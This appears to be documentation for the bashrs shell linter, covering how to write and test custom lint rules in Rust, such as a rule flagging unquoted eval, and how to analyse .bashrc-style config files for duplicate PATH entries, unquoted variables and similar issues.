use crate::linter::{Diagnostic, Fix, LintResult, Severity, Span};

/// Check function - entry point for the rule
pub fn check(source: &str) -> LintResult {
    let mut result = LintResult::new();

    // Rule implementation here

    result
}

#[cfg(test)]
mod tests {
    use super::*;

    // Tests here
}

Core Types

Diagnostic: Represents a lint violation

pub struct Diagnostic {
    pub code: String,        // "DET001", "SEC002", etc.
    pub severity: Severity,  // Error, Warning, Info, etc.
    pub message: String,     // Human-readable message
    pub span: Span,          // Source location
    pub fix: Option<Fix>,    // Suggested fix (optional)
}

Span: Source code location (1-indexed)

pub struct Span {
    pub start_line: usize,  // 1-indexed line number
    pub start_col: usize,   // 1-indexed column
    pub end_line: usize,
    pub end_col: usize,
}

Fix: Auto-fix suggestion

pub struct Fix {
    pub replacement: String,             // Replacement text
    pub safety_level: FixSafetyLevel,    // Safe, SafeWithAssumptions, Unsafe
    pub assumptions: Vec<String>,        // For SafeWithAssumptions
    pub suggested_alternatives: Vec<String>,  // For Unsafe
}

Severity Levels:

• Info: Style suggestions
• Note: Informational
• Perf: Performance anti-patterns
• Risk: Potential runtime failure
• Warning: Likely bug
• Error: Definite error (must fix)

EXTREME TDD Workflow for Rules

Phase 1: RED - Write Failing Test

Start with a test that defines the desired behavior:

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn test_CUSTOM001_detects_pattern() {
        let script = "#!/bin/bash\ndangerous_pattern";
        let result = check(script);

        // Verify detection
        assert_eq!(result.diagnostics.len(), 1);
        let diag = &result.diagnostics[0];
        assert_eq!(diag.code, "CUSTOM001");
        assert_eq!(diag.severity, Severity::Error);
        assert!(diag.message.contains("dangerous"));
    }
}

Run the test - it should FAIL:

cargo test test_CUSTOM001_detects_pattern

Phase 2: GREEN - Implement Rule

Implement the minimal code to make the test pass:

pub fn check(source: &str) -> LintResult {
    let mut result = LintResult::new();

    for (line_num, line) in source.lines().enumerate() {
        if line.contains("dangerous_pattern") {
            let col = line.find("dangerous_pattern").unwrap();

            let span = Span::new(
                line_num + 1,
                col + 1,
                line_num + 1,
                col + 17,  // "dangerous_pattern" length
            );

            let diag = Diagnostic::new(
                "CUSTOM001",
                Severity::Error,
                "Dangerous pattern detected",
                span,
            );

            result.add(diag);
        }
    }

    result
}

Run test again - should PASS:

cargo test test_CUSTOM001_detects_pattern

Phase 3: REFACTOR - Clean Up

Extract helpers, improve readability, ensure complexity <10:

pub fn check(source: &str) -> LintResult {
    let mut result = LintResult::new();

    for (line_num, line) in source.lines().enumerate() {
        if let Some(violation) = detect_pattern(line, line_num) {
            result.add(violation);
        }
    }

    result
}

fn detect_pattern(line: &str, line_num: usize) -> Option<Diagnostic> {
    if !line.contains("dangerous_pattern") {
        return None;
    }

    let col = line.find("dangerous_pattern")?;
    let span = Span::new(line_num + 1, col + 1, line_num + 1, col + 17);

    Some(Diagnostic::new(
        "CUSTOM001",
        Severity::Error,
        "Dangerous pattern detected",
        span,
    ))
}

Phase 4: Property Testing

Add generative tests to verify properties:

#[cfg(test)]
mod property_tests {
    use super::*;
    use proptest::prelude::*;

    proptest! {
        #[test]
        fn prop_no_false_positives(
            safe_code in "[a-z]{1,100}"
                .prop_filter("Must not contain pattern", |s| !s.contains("dangerous"))
        ) {
            let result = check(&safe_code);
            // Property: Safe code produces no diagnostics
            prop_assert_eq!(result.diagnostics.len(), 0);
        }

        #[test]
        fn prop_always_detects_pattern(
            prefix in "[a-z]{0,50}",
            suffix in "[a-z]{0,50}"
        ) {
            let code = format!("{}dangerous_pattern{}", prefix, suffix);
            let result = check(&code);
            // Property: Pattern is always detected
            prop_assert!(result.diagnostics.len() >= 1);
        }
    }
}

Phase 5: Mutation Testing

Verify test quality with cargo-mutants:

cargo mutants --file rash/src/linter/rules/custom001.rs --timeout 300

Target: ≥90% kill rate

If mutations survive, add tests to kill them:

#[test]
fn test_mutation_exact_column() {
    // Kills mutation: col + 1 → col * 1
    let script = "  dangerous_pattern";  // 2 spaces before
    let result = check(script);
    let span = result.diagnostics[0].span;
    assert_eq!(span.start_col, 3);  // Must be 3, not 0 or 2
}

#[test]
fn test_mutation_line_number() {
    // Kills mutation: line_num + 1 → line_num * 1
    let script = "safe\ndangerous_pattern";
    let result = check(script);
    let span = result.diagnostics[0].span;
    assert_eq!(span.start_line, 2);  // Must be 2, not 1
}

Phase 6: Integration Testing

Test end-to-end with realistic scripts:

#[test]
fn test_integration_full_script() {
    let script = r#"
#!/bin/bash
set -e

function deploy() {
    dangerous_pattern  # Should detect
    safe_code
}

deploy
"#;

    let result = check(script);
    assert_eq!(result.diagnostics.len(), 1);

    // Verify correct line number
    assert_eq!(result.diagnostics[0].span.start_line, 6);
}

Phase 7: pmat Verification

Verify code quality:

 Complexity check
pmat analyze complexity --file rash/src/linter/rules/custom001.rs --max 10

 Quality score
pmat quality-score --min 9.0

Phase 8: Example Verification

Create example that demonstrates the rule:

 examples/custom_rule_demo.sh
!/bin/bash
 Demonstrates CUSTOM001 rule

dangerous_pattern  # Will be caught by linter

Run linter on example:

cargo run -- lint examples/custom_rule_demo.sh

Example: Implementing a Security Rule

Let's implement SEC009: Detect unquoted command substitution in eval.

Step 1: RED Phase

// rash/src/linter/rules/sec009.rs
//! SEC009: Unquoted command substitution in eval
//!
//! **Rule**: Detect eval with unquoted $(...)
//!
//! **Why this matters**: eval "$(cmd)" is vulnerable to injection

use crate::linter::{Diagnostic, LintResult, Severity, Span};

pub fn check(source: &str) -> LintResult {
    LintResult::new()  // Empty - will fail tests
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn test_SEC009_detects_unquoted_command_sub() {
        let script = r#"eval $(get_command)"#;
        let result = check(script);

        assert_eq!(result.diagnostics.len(), 1);
        let diag = &result.diagnostics[0];
        assert_eq!(diag.code, "SEC009");
        assert_eq!(diag.severity, Severity::Error);
    }

    #[test]
    fn test_SEC009_no_warning_for_quoted() {
        let script = r#"eval "$(get_command)""#;
        let result = check(script);

        assert_eq!(result.diagnostics.len(), 0);
    }
}

Run test:

cargo test test_SEC009_detects_unquoted_command_sub
 FAILS - as expected (RED)

Step 2: GREEN Phase

pub fn check(source: &str) -> LintResult {
    let mut result = LintResult::new();

    for (line_num, line) in source.lines().enumerate() {
        // Check for eval $(...) pattern
        if line.contains("eval") && line.contains("$(") {
            // Verify not quoted
            if !is_quoted(line, "eval") {
                if let Some(col) = line.find("eval") {
                    let span = Span::new(
                        line_num + 1,
                        col + 1,
                        line_num + 1,
                        col + 5,
                    );

                    let diag = Diagnostic::new(
                        "SEC009",
                        Severity::Error,
                        "Unquoted command substitution in eval - command injection risk",
                        span,
                    );

                    result.add(diag);
                }
            }
        }
    }

    result
}

fn is_quoted(line: &str, pattern: &str) -> bool {
    if let Some(pos) = line.find(pattern) {
        // Simple heuristic: check if followed by quote
        let after = &line[pos + pattern.len()..];
        after.trim_start().starts_with('"')
    } else {
        false
    }
}

Run tests:

cargo test test_SEC009
 PASSES - GREEN achieved!

Step 3: REFACTOR Phase

pub fn check(source: &str) -> LintResult {
    let mut result = LintResult::new();

    for (line_num, line) in source.lines().enumerate() {
        if let Some(violation) = detect_unquoted_eval(line, line_num) {
            result.add(violation);
        }
    }

    result
}

fn detect_unquoted_eval(line: &str, line_num: usize) -> Option<Diagnostic> {
    // Must have both eval and command substitution
    if !line.contains("eval") || !line.contains("$(") {
        return None;
    }

    // Check if quoted
    if is_command_sub_quoted(line) {
        return None;
    }

    // Find eval position
    let col = line.find("eval")?;

    let span = Span::new(line_num + 1, col + 1, line_num + 1, col + 5);

    Some(Diagnostic::new(
        "SEC009",
        Severity::Error,
        "Unquoted command substitution in eval - command injection risk",
        span,
    ))
}

fn is_command_sub_quoted(line: &str) -> bool {
    // Check for eval "$(...)" pattern
    line.contains(r#"eval "$"#) || line.contains(r#"eval '$"#)
}

Step 4: Property Testing

#[cfg(test)]
mod property_tests {
    use super::*;
    use proptest::prelude::*;

    proptest! {
        #[test]
        fn prop_safe_code_no_warnings(
            safe_code in "[a-z ]{1,50}"
                .prop_filter("No eval", |s| !s.contains("eval"))
        ) {
            let result = check(&safe_code);
            prop_assert_eq!(result.diagnostics.len(), 0);
        }

        #[test]
        fn prop_quoted_eval_safe(
            cmd in "[a-z_]{1,20}"
        ) {
            let code = format!(r#"eval "$({})""#, cmd);
            let result = check(&code);
            prop_assert_eq!(result.diagnostics.len(), 0);
        }

        #[test]
        fn prop_unquoted_eval_detected(
            cmd in "[a-z_]{1,20}"
        ) {
            let code = format!("eval $({})", cmd);
            let result = check(&code);
            prop_assert!(result.diagnostics.len() >= 1);
        }
    }
}

Step 5: Mutation Testing

cargo mutants --file rash/src/linter/rules/sec009.rs --timeout 300

Add tests to kill survivors:

#[test]
fn test_mutation_column_calculation() {
    let script = "  eval $(cmd)";  // 2-space indent
    let result = check(script);
    assert_eq!(result.diagnostics[0].span.start_col, 3);
}

#[test]
fn test_mutation_line_number() {
    let script = "safe\neval $(cmd)";
    let result = check(script);
    assert_eq!(result.diagnostics[0].span.start_line, 2);
}

Step 6: Register Rule

Add to rash/src/linter/rules/mod.rs:

pub mod sec009;

// In lint_shell() function:
result.merge(sec009::check(source));

Step 7: Documentation

Add rule to security documentation:

## SEC009: Unquoted Command Substitution in eval

**Severity**: Error (Critical)

### Examples

❌ **VULNERABILITY**:
```bash
eval $(get_command)

✅ SAFE:

eval "$(get_command)"

Adding Auto-fix Support

Safe Fix Example

For deterministic fixes (quoting variables):

let fix = Fix::new("\"${VAR}\"");  // Safe replacement

let diag = Diagnostic::new(
    "SC2086",
    Severity::Error,
    "Quote variable to prevent word splitting",
    span,
).with_fix(fix);

Safe-with-Assumptions Fix Example

For fixes that work in most cases:

let fix = Fix::new_with_assumptions(
    "mkdir -p",
    vec!["Directory creation failure is not critical".to_string()],
);

let diag = Diagnostic::new(
    "IDEM001",
    Severity::Warning,
    "Non-idempotent mkdir - add -p flag",
    span,
).with_fix(fix);

Unsafe Fix Example

For fixes requiring human judgment:

let fix = Fix::new_unsafe(vec![
    "Option 1: Use version: ID=\"${VERSION}\"".to_string(),
    "Option 2: Use git commit: ID=\"$(git rev-parse HEAD)\"".to_string(),
    "Option 3: Pass as argument: ID=\"$1\"".to_string(),
]);

let diag = Diagnostic::new(
    "DET001",
    Severity::Error,
    "Non-deterministic $RANDOM - requires manual fix",
    span,
).with_fix(fix);

Shell Compatibility

Marking Rules as Shell-Specific

Register rule compatibility in rule_registry.rs:

pub fn get_rule_compatibility(rule_id: &str) -> ShellCompatibility {
    match rule_id {
        // Bash-only features
        "SC2198" => ShellCompatibility::NotSh,  // Arrays
        "SC2199" => ShellCompatibility::NotSh,
        "SC2200" => ShellCompatibility::NotSh,

        // Universal (all shells)
        "SEC001" => ShellCompatibility::Universal,
        "DET001" => ShellCompatibility::Universal,
        "IDEM001" => ShellCompatibility::Universal,

        // Default: assume universal
        _ => ShellCompatibility::Universal,
    }
}

Shell Types

• ShellType::Sh: POSIX sh
• ShellType::Bash: GNU Bash
• ShellType::Zsh: Z shell
• ShellType::Dash: Debian Almquist shell
• ShellType::Ksh: Korn shell
• ShellType::Ash: Almquist shell
• ShellType::BusyBox: BusyBox sh

Pattern-Based vs AST-Based Rules

Pattern-Based Rules (Recommended)

Most rules use regex or string matching:

Pros:

• Simple to implement
• Fast execution
• Easy to test
• Good for 90% of use cases

Example:

pub fn check(source: &str) -> LintResult {
    let mut result = LintResult::new();

    for (line_num, line) in source.lines().enumerate() {
        if line.contains("dangerous_pattern") {
            // Create diagnostic
        }
    }

    result
}

AST-Based Rules (Advanced)

For semantic analysis:

Pros:

• Semantic understanding
• Context-aware
• Fewer false positives

Cons:

• Complex implementation
• Slower execution
• Requires parser

Example:

use crate::parser::bash_parser;

pub fn check(source: &str) -> LintResult {
    let mut result = LintResult::new();

    // Parse to AST
    let ast = bash_parser::parse(source)?;

    // Traverse AST
    for node in ast.commands() {
        if let Command::Function(func) = node {
            // Analyze function semantics
        }
    }

    result
}

Testing Best Practices

Comprehensive Test Coverage

Every rule needs:

1. Basic detection tests:

   #![allow(unused)]
   fn main() {
   #[test]
   fn test_detects_violation() { }
   }

2. No false positive tests:

   #![allow(unused)]
   fn main() {
   #[test]
   fn test_no_false_positive() { }
   }

3. Edge case tests:

   #![allow(unused)]
   fn main() {
   #[test]
   fn test_edge_case_empty_line() { }
   }

4. Property tests:

   proptest! { fn prop_no_false_positives() { } }

5. Mutation tests:

   cargo mutants --file rash/src/linter/rules/custom001.rs
   

6. Integration tests:

   #![allow(unused)]
   fn main() {
   #[test]
   fn test_integration_real_script() { }
   }

Test Naming Convention

Format: test_<RULE_ID>_<feature>_<scenario>

Examples:

#[test]
fn test_SEC009_detects_unquoted_eval() { }

#[test]
fn test_SEC009_no_warning_for_quoted() { }

#[test]
fn test_SEC009_handles_multiline() { }

Common Patterns

Pattern 1: Simple String Matching

pub fn check(source: &str) -> LintResult {
    let mut result = LintResult::new();

    for (line_num, line) in source.lines().enumerate() {
        if let Some(col) = line.find("pattern") {
            let span = Span::new(line_num + 1, col + 1, line_num + 1, col + 8);
            result.add(Diagnostic::new("CODE", Severity::Warning, "Message", span));
        }
    }

    result
}

Pattern 2: Regex Matching

use regex::Regex;

lazy_static::lazy_static! {
    static ref PATTERN: Regex = Regex::new(r"\$RANDOM").unwrap();
}

pub fn check(source: &str) -> LintResult {
    let mut result = LintResult::new();

    for (line_num, line) in source.lines().enumerate() {
        if let Some(m) = PATTERN.find(line) {
            let span = Span::new(
                line_num + 1,
                m.start() + 1,
                line_num + 1,
                m.end() + 1,
            );
            result.add(Diagnostic::new("CODE", Severity::Error, "Message", span));
        }
    }

    result
}

Pattern 3: Context-Aware Detection

pub fn check(source: &str) -> LintResult {
    let mut result = LintResult::new();

    for (line_num, line) in source.lines().enumerate() {
        // Only check in specific context
        if line.trim_start().starts_with("eval") {
            if line.contains("$(") && !line.contains(r#""$""#) {
                // Detect violation
            }
        }
    }

    result
}

Pattern 4: Multi-line Pattern

pub fn check(source: &str) -> LintResult {
    let mut result = LintResult::new();
    let lines: Vec<&str> = source.lines().collect();

    for i in 0..lines.len() {
        // Check current + next line
        if i + 1 < lines.len() {
            if lines[i].contains("pattern_part1") &&
               lines[i + 1].contains("pattern_part2") {
                // Detect violation spanning lines
            }
        }
    }

    result
}

CI/CD Integration

Test Rules in CI

# .github/workflows/lint-rules.yml
name: Test Lint Rules
on: [push, pull_request]
jobs:
  test-rules:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Run unit tests
        run: cargo test --lib sec009
      - name: Run property tests
        run: cargo test --lib prop_ --release
      - name: Run mutation tests
        run: |
          cargo install cargo-mutants
          cargo mutants --file rash/src/linter/rules/sec009.rs --timeout 300

Troubleshooting

Rule Not Triggering

1. Check pattern matching logic
2. Verify span calculation (1-indexed!)
3. Test with minimal example
4. Add debug prints:

   eprintln!("Line {}: {}", line_num, line);
   eprintln!("Pattern match: {:?}", line.find("pattern"));

False Positives

1. Add context checks
2. Use more specific patterns
3. Check for quoted strings
4. Ignore comments
5. Add exclusion tests

Mutation Tests Failing

1. Review survived mutants:

   cargo mutants --file rash/src/linter/rules/sec009.rs --list
   

2. Add tests targeting specific mutations
3. Verify edge cases covered

Further Reading

• bashrs Rule Registry
• EXTREME TDD Guide
• Mutation Testing
• Property Testing with Proptest

Quality Standard: All custom rules must achieve ≥90% mutation kill rate and pass comprehensive property tests before merging.

Configuration File Management

Rash provides specialized support for analyzing and purifying shell configuration files like .bashrc, .zshrc, .bash_profile, and .profile. These files are critical infrastructure - they set up your shell environment for every new session.

Why Config File Management Matters

Shell configuration files are:

• Long-lived: Used for years, accumulating cruft
• Critical: Errors break your shell sessions
• Complex: Mix environment setup, PATH management, aliases, functions
• Duplicated: Across multiple machines with inconsistencies

Common problems in config files:

• PATH duplicates slowing down command lookup
• Non-deterministic environment variables
• Conflicting settings across machines
• Security vulnerabilities (unsafe eval, command injection)
• Broken symlinks and missing directories

What Rash Detects

Rash analyzes config files for:

1. PATH Issues (CONFIG-001, CONFIG-002)

• Duplicate PATH entries: Same directory added multiple times
• Non-existent directories: PATH entries that don't exist
• Order problems: Important paths shadowed by others

2. Environment Variable Issues (CONFIG-003, CONFIG-004)

• Non-deterministic values: Using $RANDOM, timestamps, etc.
• Conflicting definitions: Same variable set multiple times
• Missing quotes: Variables with spaces unquoted

3. Security Issues (SEC001-SEC008)

• Command injection: eval with user input
• Insecure SSL: curl -k, wget --no-check-certificate
• Printf injection: Unquoted format strings
• Unsafe symlinks: ln -s without cleanup

4. Idempotency Issues (IDEM001-IDEM006)

• Non-idempotent operations: Commands that fail on re-source
• Append-only operations: Growing arrays/PATH on each source
• Missing guards: No checks for existing values

Supported Config Files

Quick Start: Analyzing Your Config

Step 1: Lint Your .bashrc

bashrs lint ~/.bashrc

Example Output:

/home/user/.bashrc:15:1: CONFIG-001 [Warning] Duplicate PATH entry
  export PATH="/usr/local/bin:$PATH"
  Note: /usr/local/bin already in PATH

/home/user/.bashrc:42:1: CONFIG-002 [Warning] Non-existent PATH entry
  export PATH="/opt/custom/bin:$PATH"
  Note: /opt/custom/bin does not exist

/home/user/.bashrc:58:1: SEC001 [Error] Command injection via eval
  eval $(some_command)
  Fix: Use source or direct execution instead

3 issues found (1 error, 2 warnings)

Step 2: Review Issues

Each issue shows:

• Location: Line number and column
• Rule ID: CONFIG-001, SEC001, etc.
• Severity: Error or Warning
• Description: What the problem is
• Fix suggestion: How to resolve it

Step 3: Apply Fixes

For manual fixes:

 Edit your config file
vim ~/.bashrc

 Test the changes
source ~/.bashrc

 Verify issues are resolved
bashrs lint ~/.bashrc

For automatic fixes (when available):

bashrs purify ~/.bashrc -o ~/.bashrc.purified
diff ~/.bashrc ~/.bashrc.purified

Common Patterns and Solutions

Pattern 1: Duplicate PATH Entries

Problem:

 .bashrc sourced multiple times adds duplicates
export PATH="/usr/local/bin:$PATH"
export PATH="/usr/local/bin:$PATH"  # Added again

Solution:

 Guard against duplicates
if [[ ":$PATH:" != *":/usr/local/bin:"* ]]; then
    export PATH="/usr/local/bin:$PATH"
fi

Pattern 2: Non-Existent Directories

Problem:

 Adds directory that doesn't exist
export PATH="/opt/custom/bin:$PATH"

Solution:

 Check existence before adding
if [ -d "/opt/custom/bin" ]; then
    export PATH="/opt/custom/bin:$PATH"
fi

Pattern 3: Non-Idempotent Sourcing

Problem:

 Appends every time .bashrc is sourced
PATH="$PATH:/new/dir"

Solution:

 Idempotent: only add if not present
case ":$PATH:" in
    *":/new/dir:"*) ;;
    *) PATH="$PATH:/new/dir" ;;
esac
export PATH

Pattern 4: Secure Environment Setup

Problem:

 Dangerous: executes untrusted code
eval $(ssh-agent)

Solution:

 Safer: capture specific variables
if command -v ssh-agent >/dev/null; then
    SSH_AUTH_SOCK=$(ssh-agent | grep SSH_AUTH_SOCK | cut -d';' -f1 | cut -d'=' -f2)
    export SSH_AUTH_SOCK
fi

Advanced: Multi-Machine Config Management

Strategy 1: Host-Specific Sections

 .bashrc - universal settings
export EDITOR=vim

 Host-specific configuration
case "$(hostname)" in
    dev-laptop)
        export PATH="/home/user/local/bin:$PATH"
        ;;
    prod-server)
        export PATH="/opt/production/bin:$PATH"
        ;;
esac

Strategy 2: Modular Configuration

 .bashrc - main file
for config in ~/.bashrc.d/*.sh; do
    if [ -r "$config" ]; then
        source "$config"
    fi
done

Strategy 3: Version Control

 Keep configs in git
cd ~
git init
git add .bashrc .bash_profile .profile
git commit -m "Initial config"

 Lint before committing
bashrs lint .bashrc && git commit -m "Update config"

Integration with Shell Workflow

Pre-Commit Hook

!/bin/sh
 .git/hooks/pre-commit

 Lint shell configs before committing
for file in .bashrc .bash_profile .profile .zshrc; do
    if git diff --cached --name-only | grep -q "^$file$"; then
        echo "Linting $file..."
        if ! bashrs lint "$file"; then
            echo "ERROR: $file has linting issues"
            exit 1
        fi
    fi
done

CI/CD Validation

# .github/workflows/config-lint.yml
name: Config Lint
on: [push, pull_request]
jobs:
  lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Install Rash
        run: cargo install bashrs
      - name: Lint Configs
        run: |
          bashrs lint .bashrc
          bashrs lint .bash_profile

Comparison with Other Tools

Best Practices

1. Regular Linting

 Add to weekly cron
0 9 * * 1 bashrs lint ~/.bashrc | mail -s "Config Lint Report" you@example.com

2. Test Changes Safely

 Test in new shell before sourcing
bash --noprofile --norc
source ~/.bashrc.new
 Verify everything works
exit

 Only then replace original
mv ~/.bashrc.new ~/.bashrc

3. Backup Before Changes

 Always backup
cp ~/.bashrc ~/.bashrc.backup.$(date +%Y%m%d)

 Apply changes
bashrs purify ~/.bashrc -o ~/.bashrc.new

 Test and swap
bash -c "source ~/.bashrc.new" && mv ~/.bashrc.new ~/.bashrc

4. Version Control

 Keep history
cd ~
git init
git add .bashrc .bash_profile .zshrc
git commit -m "Baseline config"

 Track changes
git diff .bashrc  # See what changed
git log .bashrc   # See history

5. Document Non-Standard Paths

 .bashrc - document why paths are added
 pyenv: Python version management
export PATH="$HOME/.pyenv/bin:$PATH"

 Homebrew: macOS package manager
export PATH="/opt/homebrew/bin:$PATH"

 Local binaries: custom scripts
export PATH="$HOME/bin:$PATH"

Troubleshooting

Issue: "Command not found" after linting

Cause: PATH was incorrectly modified

Solution:

 Restore backup
cp ~/.bashrc.backup.YYYYMMDD ~/.bashrc
source ~/.bashrc

 Re-apply changes carefully
bashrs lint ~/.bashrc --fix-one-by-one

Issue: Slow shell startup

Cause: Too many PATH entries, slow commands in config

Solution:

 Profile your config
bash -x -i -c exit 2>&1 | less

 Remove duplicate PATH entries
bashrs lint ~/.bashrc | grep CONFIG-001

 Move slow commands to background or login-only

Issue: Config works on one machine, breaks on another

Cause: Host-specific paths or commands

Solution:

 Add guards for host-specific sections
if [ "$(hostname)" = "dev-laptop" ]; then
    export PATH="/home/user/custom:$PATH"
fi

 Check command existence before using
if command -v pyenv >/dev/null; then
    eval "$(pyenv init -)"
fi

Examples

See detailed examples:

• .bashrc Purification
• .zshrc Analysis
• Multi-Machine Setup

Rules Reference

See complete rule documentation:

• CONFIG-001: Duplicate PATH Entry
• CONFIG-002: Non-Existent PATH Entry
• CONFIG-003: Non-Deterministic Environment Variable
• CONFIG-004: Conflicting Environment Variable

Next Steps

• Analyze: Run bashrs lint on your config files
• Learn: Read about CONFIG rules
• Practice: Try purifying a backup of your config
• Integrate: Set up CI/CD validation

Remember: Your shell config files are critical infrastructure. Treat them with the same care as production code - version control, testing, and linting are essential for reliability.

Analyzing Config Files

Shell configuration files like .bashrc, .bash_profile, .zshrc, and .profile are critical to your development environment, but they often accumulate issues over time:

• Duplicate PATH entries slowing down command lookup
• Unquoted variables creating security vulnerabilities
• Non-idempotent operations causing inconsistent behavior
• Non-deterministic constructs producing unpredictable results
• Performance bottlenecks from expensive operations

The bashrs config analyze command provides comprehensive analysis of your shell configuration files, detecting these issues and providing actionable recommendations.

Quick Start

Analyze your shell configuration in seconds:

bashrs config analyze ~/.bashrc

This command:

1. Detects your configuration file type automatically
2. Analyzes for common issues (duplicate paths, unquoted variables, etc.)
3. Calculates complexity score
4. Reports performance bottlenecks
5. Provides specific suggestions for improvement

What Config Analysis Detects

bashrs config analyze performs four core analyses, each corresponding to a specific rule:

CONFIG-001: Duplicate PATH Entries

Detects when the same directory appears multiple times in PATH modifications:

export PATH="/usr/local/bin:$PATH"
export PATH="/opt/homebrew/bin:$PATH"
export PATH="/usr/local/bin:$PATH"  # ⚠️ Duplicate detected!

Why this matters:

• Slower command lookup (shell searches each PATH entry in order)
• Confusion about which binary will execute
• Maintenance burden tracking which paths are active

Detection: Tracks all PATH modifications and identifies directories added more than once.

See CONFIG-001: Deduplicate PATH Entries for complete details.

CONFIG-002: Unquoted Variable Expansions

Detects variables used without quotes, which can cause word splitting, glob expansion, and injection vulnerabilities:

export PROJECT_DIR=$HOME/my projects    # ⚠️ Unquoted - will break!
cd $PROJECT_DIR                         # ⚠️ Splits into: cd /home/user/my projects
cp $SOURCE $DEST                        # ⚠️ Vulnerable to injection

Why this matters:

• Word splitting: Spaces in values break arguments
• Glob expansion: Wildcards expand unexpectedly (*.txt → file1.txt file2.txt)
• Security vulnerabilities: Command injection through unquoted paths

Detection: Analyzes all variable expansions and identifies those without quotes.

See CONFIG-002: Quote Variable Expansions for complete details.

CONFIG-003: Duplicate Alias Definitions

Detects when the same alias is defined multiple times (only the last definition is active):

alias ll='ls -la'
 ... 50 lines later ...
alias ll='ls -lah'        # ⚠️ Duplicate - this one wins
 ... 30 lines later ...
alias ll='ls -lAh'        # ⚠️ Duplicate - this one actually wins

Why this matters:

• Confusing behavior: Only the last definition takes effect
• Maintenance burden: Hard to track which aliases are active
• Cluttered configs: Unnecessary duplication

Detection: Tracks all alias definitions and identifies names appearing more than once.

See CONFIG-003: Consolidate Duplicate Aliases for complete details.

CONFIG-004: Non-Deterministic Constructs

Detects constructs that produce different results on each execution:

SESSION_ID=$RANDOM                     # ⚠️ Random number
TIMESTAMP=$(date +%s)                  # ⚠️ Current timestamp
LOG_FILE="/tmp/log.$$"                 # ⚠️ Process ID

Why this matters:

• Unpredictable behavior: Different results across shell sessions
• Testing difficulties: Hard to write reproducible tests
• Debugging challenges: Behavior changes between runs

Detection: Identifies $RANDOM, timestamps (date +%s), process IDs ($$), and other non-deterministic patterns.

Note: Some timestamp usage is legitimate (e.g., measuring command execution time in .zshrc). Context matters.

CONFIG-005: Performance Issues (Preview)

Detects operations that slow down shell startup:

eval "$(rbenv init -)"                 # ⚠️ Expensive - adds ~150ms
eval "$(pyenv init -)"                 # ⚠️ Expensive - adds ~200ms
eval "$(nodenv init -)"                # ⚠️ Expensive - adds ~100ms

Why this matters:

• Slow shell startup: Each eval adds 100-200ms
• Compounding delays: Multiple evals create noticeable lag
• Unnecessary overhead: Many tools can be lazy-loaded

Suggestion: Use lazy-loading patterns to defer expensive operations until needed.

Supported Configuration Files

bashrs config analyze automatically detects and analyzes these configuration file types:

The tool understands shell-specific conventions and adjusts analysis accordingly.

Command Usage

Basic Analysis

bashrs config analyze <file>

Example:

bashrs config analyze ~/.bashrc

Output:

Configuration Analysis: /home/user/.bashrc
===========================================

File Type: Bashrc (bash)
Lines: 157
Complexity: 5/10

Issues Found: 3

[CONFIG-001] Duplicate PATH entry
  → Line: 23
  → Path: /usr/local/bin
  → First occurrence: Line 15
  → Suggestion: Remove duplicate entry or use conditional addition

[CONFIG-002] Unquoted variable expansion
  → Line: 45
  → Variable: $HOME
  → Column: 18
  → Can cause word splitting and glob expansion
  → Suggestion: Quote the variable: "${HOME}"

[CONFIG-003] Duplicate alias definition: 'ls'
  → Line: 89
  → First occurrence: Line 67
  → Severity: Warning
  → Suggestion: Remove earlier definition or rename alias

PATH Entries:
  Line 15: /usr/local/bin
  Line 19: /opt/homebrew/bin
  Line 23: /usr/local/bin (DUPLICATE)
  Line 31: /home/user/.local/bin

Performance Issues: 1
  Line 52: eval "$(rbenv init -)" [~150ms]
  → Suggestion: Consider lazy-loading this version manager

JSON Output

For integration with tools and CI/CD pipelines:

bashrs config analyze ~/.bashrc --format json

Output:

{
  "file_path": "/home/user/.bashrc",
  "config_type": "Bashrc",
  "line_count": 157,
  "complexity_score": 5,
  "issues": [
    {
      "rule_id": "CONFIG-001",
      "severity": "Warning",
      "message": "Duplicate PATH entry",
      "line": 23,
      "column": 0,
      "suggestion": "Remove duplicate entry or use conditional addition"
    },
    {
      "rule_id": "CONFIG-002",
      "severity": "Warning",
      "message": "Unquoted variable expansion: $HOME",
      "line": 45,
      "column": 18,
      "suggestion": "Quote the variable: \"${HOME}\""
    },
    {
      "rule_id": "CONFIG-003",
      "severity": "Warning",
      "message": "Duplicate alias definition: 'ls'",
      "line": 89,
      "column": 0,
      "suggestion": "Remove earlier definition or rename alias"
    }
  ],
  "path_entries": [
    {"line": 15, "path": "/usr/local/bin", "is_duplicate": false},
    {"line": 19, "path": "/opt/homebrew/bin", "is_duplicate": false},
    {"line": 23, "path": "/usr/local/bin", "is_duplicate": true},
    {"line": 31, "path": "/home/user/.local/bin", "is_duplicate": false}
  ],
  "performance_issues": [
    {
      "line": 52,
      "command": "eval \"$(rbenv init -)\"",
      "estimated_cost_ms": 150,
      "suggestion": "Consider lazy-loading this version manager"
    }
  ]
}

SARIF Output (Planned)

For integration with GitHub Code Scanning and other security tools:

bashrs config analyze ~/.bashrc --format sarif > results.sarif

SARIF (Static Analysis Results Interchange Format) is an industry-standard format supported by GitHub, GitLab, and many CI/CD platforms.

Real .bashrc Analysis Examples

Example 1: Duplicate PATH Entries

Input (messy.bashrc):

 System paths
export PATH="/usr/local/bin:$PATH"
export PATH="/usr/bin:$PATH"

 Homebrew
if [ -d "/opt/homebrew/bin" ]; then
    export PATH="/opt/homebrew/bin:$PATH"
fi

 Accidentally added again
export PATH="/usr/local/bin:$PATH"

 Python tools
export PATH="$HOME/.local/bin:$PATH"

Analysis:

bashrs config analyze messy.bashrc

Output:

Configuration Analysis: messy.bashrc
====================================

File Type: Bashrc (bash)
Lines: 15
Complexity: 3/10

Issues Found: 1

[CONFIG-001] Duplicate PATH entry
  → Line: 12
  → Path: /usr/local/bin
  → First occurrence: Line 2
  → Suggestion: Remove duplicate entry or use conditional addition

PATH Entries:
  Line 2: /usr/local/bin
  Line 3: /usr/bin
  Line 7: /opt/homebrew/bin (conditional)
  Line 12: /usr/local/bin (DUPLICATE)
  Line 15: /home/user/.local/bin

Recommendation: Run `bashrs config purify messy.bashrc` to fix automatically

Example 2: Unquoted Variables

Input (unsafe.bashrc):

 Project directory with space in name
export PROJECT_DIR=$HOME/my projects

 Backup directory
export BACKUP_DIR=$HOME/backups

 Aliases using unquoted variables
alias proj='cd $PROJECT_DIR'
